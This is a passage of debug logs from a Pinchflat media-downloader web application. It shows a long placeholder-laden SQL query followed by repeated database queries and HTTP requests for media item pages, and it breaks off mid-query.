(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5137654, 5137679, 5137745, 5137805, 5137865, 5137926, 5137986, 5138047, 5138107, 5138167, 5138227, 5138287, 5138347, 5138407, 5138467, 5138527, 5138587, 5138647, 5138707, 5138768, 5138828, 5138888, 5138948, 5139008, 5139068, 5139128, 5139188, 5139248, 5139308, 5139368, 5139428, 5139488, 5139548, 5139608, 5139668, 5139728, 5139788, 5139848, 5139908, 5139968, 5140028, 5140088, 5140149, 5140209, 5140269, 5140329, 5140389, 5140449, 5140509, 5140569, ...] 17:41:58.783 [debug] QUERY OK source="settings" db=0.1ms idle=359.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:58.783 [debug] QUERY OK source="settings" db=0.0ms idle=359.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:58.783 [debug] QUERY OK source="settings" db=0.0ms idle=359.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:58.783 [debug] QUERY OK source="media_profiles" db=0.0ms idle=359.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:58.845 [info] Sent 200 in 2429ms 17:41:58.925 [info] GET /sources/28/media/1574603/edit 17:41:58.925 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1574603", "source_id" => "28"} Pipelines: [:browser] 17:41:58.925 [debug] QUERY OK source="media_items" db=0.1ms idle=157.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1574603] 17:41:58.925 [debug] QUERY OK source="settings" db=0.0ms idle=142.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:58.925 [debug] QUERY OK source="settings" db=0.0ms idle=142.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:58.926 [debug] QUERY OK source="settings" db=0.0ms idle=142.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:58.926 [info] Sent 200 in 1ms 17:42:00.204 [info] GET /sources/6/media/1577874 17:42:00.204 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577874", "source_id" => "6"} Pipelines: [:browser] 17:42:00.204 [debug] QUERY OK source="media_items" db=0.1ms idle=1279.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577874] 17:42:00.204 [debug] QUERY OK source="tasks" db=0.1ms idle=1279.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577874] 17:42:00.204 [debug] QUERY OK source="sources" db=0.1ms idle=1279.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:42:00.205 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1278.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5253730] 17:42:00.205 [debug] QUERY OK source="settings" db=0.0ms idle=780.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:00.205 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:00.205 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:00.206 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:00.206 [info] Sent 200 in 2ms 17:42:00.468 [info] {"source":"oban","duration":124,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:42:00.634 [info] GET /sources/28/media/1577888/edit 17:42:00.634 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577888", "source_id" => "28"} Pipelines: [:browser] 17:42:00.634 [debug] QUERY OK source="media_items" db=0.1ms idle=428.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577888] 17:42:00.634 [debug] QUERY OK source="settings" db=0.0ms idle=428.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:00.634 [debug] QUERY OK source="settings" db=0.0ms idle=428.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:00.635 [debug] QUERY OK source="settings" db=0.0ms idle=209.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:00.635 [info] Sent 200 in 1ms 17:42:01.135 [info] GET /sources/1/media/1577478 17:42:01.135 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577478", "source_id" => "1"} Pipelines: [:browser] 17:42:01.135 [debug] QUERY OK source="media_items" db=0.1ms idle=667.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577478] 17:42:01.136 [debug] QUERY OK source="tasks" db=0.1ms idle=501.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577478] 17:42:01.136 [debug] QUERY OK source="sources" db=0.1ms idle=501.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:01.137 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=501.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5242040] 17:42:01.137 [debug] QUERY OK source="settings" db=0.0ms idle=502.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:01.137 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:01.137 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:01.137 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:01.138 [info] Sent 200 in 3ms 17:42:01.636 [info] GET /sources/28/media/1573994 17:42:01.637 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1573994", "source_id" => "28"} Pipelines: [:browser] 17:42:01.637 [debug] QUERY OK source="media_items" db=0.1ms idle=499.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1573994] 17:42:01.637 [debug] QUERY OK source="tasks" db=0.1ms idle=500.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1573994] 17:42:01.637 [debug] QUERY OK source="sources" db=0.1ms idle=500.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:42:01.637 [debug] QUERY OK source="settings" db=0.0ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:01.638 [debug] QUERY OK source="settings" db=0.0ms idle=211.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:01.638 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:01.638 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:42:01.639 [info] Sent 200 in 2ms 17:42:02.148 [info] GET /sources/1/media/1577879 17:42:02.148 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577879", "source_id" => "1"} Pipelines: [:browser] 17:42:02.148 [debug] QUERY OK source="media_items" db=0.1ms idle=510.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577879] 17:42:02.149 [debug] QUERY OK source="tasks" db=0.0ms idle=511.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577879] 17:42:02.149 [debug] QUERY OK source="sources" db=0.1ms idle=510.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:42:02.149 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=510.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5254255] 17:42:02.149 [debug] QUERY OK source="settings" db=0.0ms idle=510.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:02.149 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:02.149 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:42:02.150 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", 